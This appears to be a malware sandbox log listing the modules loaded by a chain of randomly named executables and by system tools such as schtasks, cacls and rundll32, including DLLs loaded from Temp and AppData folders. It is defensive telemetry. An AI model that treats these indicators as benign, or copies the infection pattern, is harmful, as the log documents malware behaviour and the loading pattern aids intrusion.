"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "4EM873Jt.exe" loaded module "WS2_32.DLL" at base 77020000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75180000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74ce0000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 75170000 "4EM873Jt.exe" loaded module "SSPICLI.DLL" at base 75640000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "4EM873Jt.exe" loaded module "SECUR32.DLL" at base 75500000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 5d620000 "4EM873Jt.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75bc0000 "4EM873Jt.exe" loaded module "CLBCATQ.DLL" at base 77290000 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 771b0000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6dd50000 "4EM873Jt.exe" loaded module "RPCRTREMOTE.DLL" at base 75750000 "4EM873Jt.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6e260000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 6b640000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6dda0000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6e430000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.SECURITY\93D03EB9812405FA70E89D4EFD5F7E14\SYSTEM.SECURITY.NI.DLL" at base 5cc70000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\VCRUNTIME140_CLR0400.DLL" at base 0 "4EM873Jt.exe" loaded module "VCRUNTIME140_CLR0400.DLL" at base 6bd70000 "5tc7lo6.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "5tc7lo6.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "5tc7lo6.exe" loaded module "KERNEL32" at base 771b0000 "5tc7lo6.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "5tc7lo6.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "5tc7lo6.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "AppLaunch.exe" loaded module "WS2_32.DLL" at base 77020000 "AppLaunch.exe" loaded module "WINHTTP.DLL" at base 71b20000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75180000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 75170000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75bc0000 "AppLaunch.exe" loaded module "IPHLPAPI.DLL" at base 73b10000 "AppLaunch.exe" loaded module "URLMON.DLL" at base 77450000 "AppLaunch.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72cc0000 "AppLaunch.exe" loaded module "DNSAPI.DLL" at base 75040000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 760d0000 "AppLaunch.exe" loaded module "CRYPTBASE.DLL" at base 756b0000 "AppLaunch.exe" loaded module "CLBCATQ.DLL" at base 77290000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6df30000 "AppLaunch.exe" loaded module "OLE32.DLL" at base 775b0000 "AppLaunch.exe" loaded module "DHCPCSVC6.DLL" at base 73a20000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75bc0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74ce0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73a40000 "AppLaunch.exe" loaded module "DHCPCSVC.DLL" at base 73950000 "AppLaunch.exe" loaded module "RASADHLP.DLL" at base 71b80000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 77320000 "AppLaunch.exe" loaded module "CRYPTSP.DLL" at base 751c0000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 74600000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74f50000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 77020000 "AppLaunch.exe" loaded module "RPCRTREMOTE.DLL" at base 75750000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6d370000 "AppLaunch.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 77a60000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 75e00000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "6Hy9qE9.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "6Hy9qE9.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "6Hy9qE9.exe" loaded module "KERNEL32" at base 771b0000 "6Hy9qE9.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "6Hy9qE9.exe" loaded module "KERNEL32.DLL" at base 771b0000 "6Hy9qE9.exe" loaded module "OLE32.DLL" at base 775b0000 "6Hy9qE9.exe" loaded module "CRYPTBASE.DLL" at base 756b0000 "6Hy9qE9.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 742f0000 "6Hy9qE9.exe" loaded module "ADVAPI32.DLL" at base 77320000 "6Hy9qE9.exe" loaded module "PROPSYS.DLL" at base 743d0000 "6Hy9qE9.exe" loaded module "COMCTL32.DLL" at base 74600000 "6Hy9qE9.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "6Hy9qE9.exe" loaded module "SHELL32.DLL" at base 763c0000 "6Hy9qE9.exe" loaded module "CLBCATQ.DLL" at base 77290000 "6Hy9qE9.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 743d0000 "6Hy9qE9.exe" loaded module "NTMARTA.DLL" at base 74ae0000 "6Hy9qE9.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75bc0000 "6Hy9qE9.exe" loaded module "PROFAPI.DLL" at base 757d0000 "6Hy9qE9.exe" loaded module "APPHELP.DLL" at base 75660000 "6Hy9qE9.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6e0a0000 "6Hy9qE9.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 763c0000 "6Hy9qE9.exe" loaded module "SETUPAPI.DLL" at base 77710000 "6Hy9qE9.exe" loaded module "RPCRT4.DLL" at base 760d0000 "6Hy9qE9.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 77450000 "6Hy9qE9.exe" loaded module "SECUR32.DLL" at base 75500000 "6Hy9qE9.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75a30000 "6Hy9qE9.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71320000 "6Hy9qE9.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "6Hy9qE9.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "explothe.exe" loaded module "KERNEL32.DLL" at base 771b0000 "explothe.exe" loaded module "SHELL32.DLL" at base 763c0000 "explothe.exe" loaded module "OLE32.DLL" at base 775b0000 "explothe.exe" loaded module "CRYPTBASE.DLL" at base 756b0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 742f0000 "explothe.exe" loaded module "ADVAPI32.DLL" at base 77320000 "explothe.exe" loaded module "PROPSYS.DLL" at base 743d0000 "explothe.exe" loaded module "COMCTL32.DLL" at base 74600000 "explothe.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "explothe.exe" loaded module "APPHELP.DLL" at base 75660000 "explothe.exe" loaded module "CLBCATQ.DLL" at base 77290000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a650000 "explothe.exe" loaded module "SETUPAPI.DLL" at base 77710000 "explothe.exe" loaded module "RPCRT4.DLL" at base 760d0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 743d0000 "explothe.exe" loaded module "NTMARTA.DLL" at base 74ae0000 "explothe.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75bc0000 "explothe.exe" loaded module "PROFAPI.DLL" at base 757d0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 77450000 "explothe.exe" loaded module "SECUR32.DLL" at base 75500000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75a30000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "explothe.exe" loaded module "SSPICLI.DLL" at base 75640000 "explothe.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75bc0000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71320000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75a40000 "explothe.exe" loaded module "WS2_32.DLL" at base 77020000 "explothe.exe" loaded module "WINHTTP.DLL" at base 71b20000 "explothe.exe" loaded module "IPHLPAPI.DLL" at base 73b10000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75180000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 75170000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72cc0000 "explothe.exe" loaded module "DNSAPI.DLL" at base 75040000 "explothe.exe" loaded module "DHCPCSVC6.DLL" at base 73a20000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6df30000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74ce0000 "explothe.exe" loaded module "DHCPCSVC.DLL" at base 73950000 "explothe.exe" loaded module "URLMON.DLL" at base 77450000 "explothe.exe" loaded module "RASADHLP.DLL" at base 71b80000 "explothe.exe" loaded module "CRYPTSP.DLL" at base 751c0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74f50000 "explothe.exe" loaded module "RPCRTREMOTE.DLL" at base 75750000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6d370000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 77a60000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73a40000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 75e00000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 77020000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 742f0000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 760d0000 "schtasks.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75bc0000 "schtasks.exe" loaded module "ADVAPI32.DLL" at base 77320000 "schtasks.exe" loaded module "CLBCATQ.DLL" at base 77290000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 73db0000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 75640000 "schtasks.exe" loaded module "XMLLITE.DLL" at base 73ed0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "7GY0fl42.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "7GY0fl42.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "7GY0fl42.exe" loaded module "KERNEL32" at base 771b0000 "7GY0fl42.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "7GY0fl42.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "7GY0fl42.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "cacls.exe" loaded module "GDI32.DLL" at base 77070000 "cacls.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 760b0000 "cacls.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "cacls.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cacls.exe" loaded module "KERNEL32" at base 771b0000 "cacls.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cacls.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b910000 "rundll32.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "rundll32.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "rundll32.exe" loaded module "KERNEL32" at base 771b0000 "rundll32.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "rundll32.exe" loaded module "%APPDATA%\006700E5A2AB05\CLIP.DLL" at base 6b810000 "rundll32.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b910000 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 742f0000 "rundll32.exe" loaded module "DWMAPI.DLL" at base 740b0000 "cacls.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75bc0000 "cacls.exe" loaded module "RPCRT4.DLL" at base 760d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 649b0000 "AppLaunch.exe" loaded module "USER32.DLL" at base 75af0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 725a0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 77060000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 771b0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 635a0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 742f0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 73750000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 65880000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 61b40000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 656d0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 60cd0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "AppLaunch.exe" loaded module "UXTHEME.DLL" at base 742f0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 627e0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 655c0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 60550000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 733b0000 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 778b0000 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 763c0000 "AppLaunch.exe" loaded module "PROFAPI.DLL" at base 757d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "AppLaunch.exe" loaded module "BCRYPT.DLL" at base 752d0000 "AppLaunch.exe" loaded module "IMM32.DLL" at base 760b0000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 71f40000 "AppLaunch.exe" loaded module "GDI32.DLL" at base 77070000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 651a0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 5f910000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5e520000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\UCRTBASE_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 6bcc0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 77a00000 "AppLaunch.exe" loaded module "DWRITE.DLL" at base 63460000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 759e0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 62650000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 5e430000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74c50000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5e150000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 6b650000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5d690000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 630b0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 5d470000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 771b0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6dda0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.SECURITY\93D03EB9812405FA70E89D4EFD5F7E14\SYSTEM.SECURITY.NI.DLL" at base 5cfc0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\VCRUNTIME140_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "VCRUNTIME140_CLR0400.DLL" at base 6bd70000 "8Am5oO69.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "8Am5oO69.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "8Am5oO69.exe" loaded module "KERNEL32" at base 771b0000 "8Am5oO69.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "8Am5oO69.exe" loaded module "CRYPTBASE.DLL" at base 756b0000 "8Am5oO69.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 742f0000 "8Am5oO69.exe" loaded module "KERNEL32.DLL" at base 771b0000 "8Am5oO69.exe" loaded module "SHELL32.DLL" at base 763c0000 "8Am5oO69.exe" loaded module "OLE32.DLL" at base 775b0000 "8Am5oO69.exe" loaded module "ADVAPI32.DLL" at base 77320000 "8Am5oO69.exe" loaded module "PROPSYS.DLL" at base 743d0000 "8Am5oO69.exe" loaded module "COMCTL32.DLL" at base 74600000 "8Am5oO69.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "8Am5oO69.exe" loaded module "CLBCATQ.DLL" at base 77290000 "8Am5oO69.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 743d0000 "8Am5oO69.exe" loaded module "NTMARTA.DLL" at base 74ae0000 "8Am5oO69.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75bc0000 "8Am5oO69.exe" loaded module "PROFAPI.DLL" at base 757d0000 "8Am5oO69.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 77450000 "8Am5oO69.exe" loaded module "SECUR32.DLL" at base 75500000 "8Am5oO69.exe" loaded module "RPCRT4.DLL" at base 760d0000 "8Am5oO69.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75a30000 "8Am5oO69.exe" loaded module "SETUPAPI.DLL" at base 77710000 "8Am5oO69.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 771b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b910000 "cmd.exe" loaded module "OLE32.DLL" at base 775b0000 "cmd.exe" loaded module "CRYPTBASE.DLL" at base 756b0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 742f0000 "cmd.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "cmd.exe" loaded module "APPHELP.DLL" at base 75660000 "cmd.exe" loaded module "KERNEL32.DLL" at base 771b0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a650000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75a40000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 759b0000 "cmd.exe" loaded module "ADVAPI32.DLL" at base 77320000 "cmd.exe" loaded module "URLMON.DLL" at base 77450000 "cmd.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 72cd0000 "cmd.exe" loaded module "PROPSYS.DLL" at base 743d0000 "cmd.exe" loaded module "IERTUTIL.DLL" at base 76180000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 771b0000 "cmd.exe" loaded module "SETUPAPI.DLL" at base 77710000 "cmd.exe" loaded module "RPCRT4.DLL" at base 760d0000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72cc0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 743d0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 763c0000 "cmd.exe" loaded module "USER32.DLL" at base 75af0000 "cmd.exe" loaded module "COMCTL32.DLL" at base 74600000 "explothe.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "explothe.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "explothe.exe" loaded module "KERNEL32" at base 771b0000 "explothe.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "explothe.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 03e:T59d,"file.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "aW5Tb54.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 